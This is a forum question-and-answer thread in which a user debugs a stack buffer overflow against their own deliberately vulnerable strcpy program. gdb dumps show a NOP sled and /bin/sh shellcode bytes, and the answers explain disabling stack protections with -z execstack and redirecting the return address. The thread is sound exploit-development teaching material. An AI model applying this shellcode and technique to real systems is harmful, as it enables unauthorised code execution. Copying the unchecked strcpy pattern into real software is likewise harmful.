4

I am trying to do a simple buffer overflow that just calls /bin/sh but can't seem to get it to work, it just segfaults. This same exploit worked on a linux vm that I ported over to my mac. As far as I'm concerned I have control of EIP and it points to my nopsled. I have tried a few addresses within my nosled but no luck. I have also tried adjusting nopsled's before and after my shellcode but still no luck.

Here is the c code that I am exploiting:

#include <stdio.h>

int main(int argc, char **argv){
    char buf[128];
    strcpy(buf,argv[1]);
}

Compile:

$gcc -g -m32 -fno-stack-protector -o basic basic.c

The disassembly of main:

   (gdb) disas main
   0x00001f40 <+0>: push   %ebp
   0x00001f41 <+1>: mov    %esp,%ebp
   0x00001f43 <+3>: push   %esi
   0x00001f44 <+4>: sub    $0xa4,%esp
   0x00001f4a <+10>:    mov    0xc(%ebp),%eax
   0x00001f4d <+13>:    mov    0x8(%ebp),%ecx
   0x00001f50 <+16>:    xor    %edx,%edx
   0x00001f52 <+18>:    lea    -0x8c(%ebp),%esi
   0x00001f58 <+24>:    mov    %ecx,-0x8(%ebp)
   0x00001f5b <+27>:    mov    %eax,-0xc(%ebp)
   0x00001f5e <+30>:    mov    -0xc(%ebp),%eax
   0x00001f61 <+33>:    mov    0x4(%eax),%eax
   0x00001f64 <+36>:    mov    %esp,%ecx
   0x00001f66 <+38>:    mov    %eax,0x4(%ecx)
   0x00001f69 <+41>:    mov    %esi,(%ecx)
   0x00001f6b <+43>:    mov    %edx,-0x90(%ebp)
   0x00001f71 <+49>:    call   0x1f8e
   0x00001f76 <+54>:    mov    -0x90(%ebp),%ecx
   0x00001f7c <+60>:    mov    %eax,-0x94(%ebp)
   0x00001f82 <+66>:    mov    %ecx,%eax
   0x00001f84 <+68>:    add    $0xa4,%esp
   0x00001f8a <+74>:    pop    %esi
   0x00001f8b <+75>:    pop    %ebp

strcpy() is the call at *main+49 so I put a break at *main+54 and run it feeding in my payload and inspect the area around esp...

(gdb) b *main+54
Breakpoint 1 at 0x1f76: file basic.c, line 8.
(gdb) r `cat payload`
Starting program: /Users/mnaymik/Desktop/test/basic `cat payload`

Breakpoint 1, main (argc=-1869574000, argv=0x4e68732f) at basic.c:8
8   }
(gdb) x/40x $esp
0xbffffae0: 0xbffffafc  0xbffffc86  0x00000000  0x00000000
0xbffffaf0: 0x00000000  0x00000000  0x00000000  0x90909090
0xbffffb00: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb10: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb60: 0x31c03190  0x31c931db  0xeb0bb0d2  0x4b885b06
0xbffffb70: 0xe880cd07  0xfffffff5  0x6e69622f  0x4e68732f

My shellcode is getting into memory and does seem to overwrite EIP with the correct address. But I get an access error for 0xc7000000?

(gdb) s
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0xc7000000

0xbffffb10 in ?? ()
(gdb) i r
eax            0x0  0
ecx            0x0  0
edx            0x0  0
ebx            0xbffffc1c   -1073742820
esp            0xbffffb90   0xbffffb90
ebp            0x90909090   0x90909090
esi            0x90909090   -1869574000
edi            0x0  0
eip            0xbffffb10   0xbffffb10
eflags         0x386    [ PF SF TF IF ]
cs             0x1b 27
ss             0x23 35
ds             0x23 35
es             0x23 35
fs             0x0  0
gs             0xf  15

Anyone have any idea what I am doing wrong?

EDIT:

I had to rebuild gcc and ld as there was no -z flag on my version in my original post. So the offsets have slightly changed.

So I set a break point right after the call strcpy

(gdb) r `cat pl`

Breakpoint 1, 0x565555d8 in main (
    argc=<error reading variable: Cannot access memory at address 0x45455645>, 
    argv=<error reading variable: Cannot access memory at address 0x45455649>)
    at basic.c:7
7       strcpy(buf,argv[1]);

EBP is @ 0xffffd1f8

(gdb) i r
eax            0xffffd170   -11920
ecx            0xffffd4e0   -11040
edx            0xffffd1f9   -11783
ebx            0x56557000   1448439808
esp            0xffffd160   0xffffd160
ebp            0xffffd1f8   0xffffd1f8
esi            0x2  2
edi            0xf7fab000   -134565888
eip            0x565555d8   0x565555d8 <main+56>
eflags         0x202    [ IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

I have replaced ebp + 4 to contain an address where my nopsled is:

(gdb) x/40x $esp
0xffffd160: 0xffffd170  0xffffd453  0xf7ffd918  0x565555b7
0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1d0: 0xc389c031  0x80cd17b0  0x6852d231  0x68732f6e
0xffffd1e0: 0x622f2f68  0x52e38969  0x8de18953  0x80cd0b42
0xffffd1f0: 0x41414141  0x41414141  0x41414141  0xffffd180

(gdb) x/2x $ebp
0xffffd1f8: 0x41414141  0xffffd180

No luck, this is what I get:

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x565555e9 in main (
    argc=<error reading variable: Cannot access memory at address 0x41414141>, 
    argv=<error reading variable: Cannot access memory at address 0x41414145>)
    at basic.c:8
8   }
(gdb) i r
eax            0x0  0
ecx            0x41414141   1094795585
edx            0xffffd1fd   -11779
ebx            0x41414141   1094795585
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x2  2
edi            0xf7fab000   -134565888
eip            0x565555e9   0x565555e9 <main+73>
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

SOLVED:

The accepted answer to this post explains it (https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) Clearing the env variables and compiling with gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln made it a vanilla B.O.

3

In order for instructions written to the runtime stack to be executed, the stack must have the execute permission set to true.

$gcc -g -m32 -fno-stack-protector -o basic basic.c

When compiled with these arguments, the permissions of the process segments are as follows:

$ readelf -l basic

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10 < Notice!
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

The runtime stack has read and write permissions, but is not executable. This is what is causing the segfault. The CPU is attempting to execute instructions located at an address in virtual memory that only has RW permissions.

To address this, compile the source code with the -z execstack arguments to gcc:

$ gcc -g -m32 -fno-stack-protector -z execstack -o basic basic.c

Now the stack is executable:

$ readelf -l basic

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 < Notice!
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

The CPU should now be able to execute instructions located on the program runtime stack without a segfault occurring.

Update: Both ebp and esi (part of this function's preamble) have been overwritten with NOP instructions, so it is likely that the return address at 4(ebp) has also been overwritten, causing 4 NOP instructions to be written to eip resulting in the new segfault at 0x90909090 rather than at 0xc7000000.

When it comes to buffer overflows on the stack, gaining control of EIP revolves around the ret instruction, the counterpart to call, since it is this instruction that can write to eip. For call:

When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) onto the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified with the target operand.

and ret (emphasis mine):

When executing a near return, the processor pops the return instruction pointer (offset) from the top of the stack into the EIP register and begins program execution at the new instruction pointer.

This means that the memory address of an executable instruction rather than a sequence of instructions must be located at 4(ebp) since this is where call pushed the return address. This means that the number of NOPS must be precicely calculated such that the memory address of the first instruction to execute is written to where call wrote the return address - 4(ebp). Whatever is at this location will be treated by eip as a memory address (the return instruction pointer), not executable code. This must be taken into consideration when constructing your payload.

From the "Shell Code" section of Smashing The Stack For Fun And Profit (emphasis mine):

So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code which we are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer.

  • hmm I see the RWE now but it seems like it still wont execute the nopsled GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 ... (gdb)s 0x90909090 in ?? () eip shows 0x90909090 – Nitro Mar 16 '17 at 23:42
  • what is $ebp + 4 at breakpoint *main+54 (breakpoint 1 in the question)? – julian Mar 17 '17 at 0:02
  • the return address is at 4(ebp). Check if it is being overwritten. I updated my answer. – julian Mar 17 '17 at 0:52
  • You are right they are 0x90909090. I guess Im not understanding something here then. So I have nospled + shellcode that fill up my buffer followed by \x41\x41\x41\x41 + \x10\xFB\xFF\xBF <- shouldn't the address here make me now go into the nopsled and start execution? Is there a step I am forgetting? Why is it trying to execute the address at this location rather than go here and start executing? – Nitro Mar 17 '17 at 1:42
  • a memory address need to be written to 4(ebp) rather than code. Perhaps this is what you have been missing? I updated the answer again – julian Mar 17 '17 at 2:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.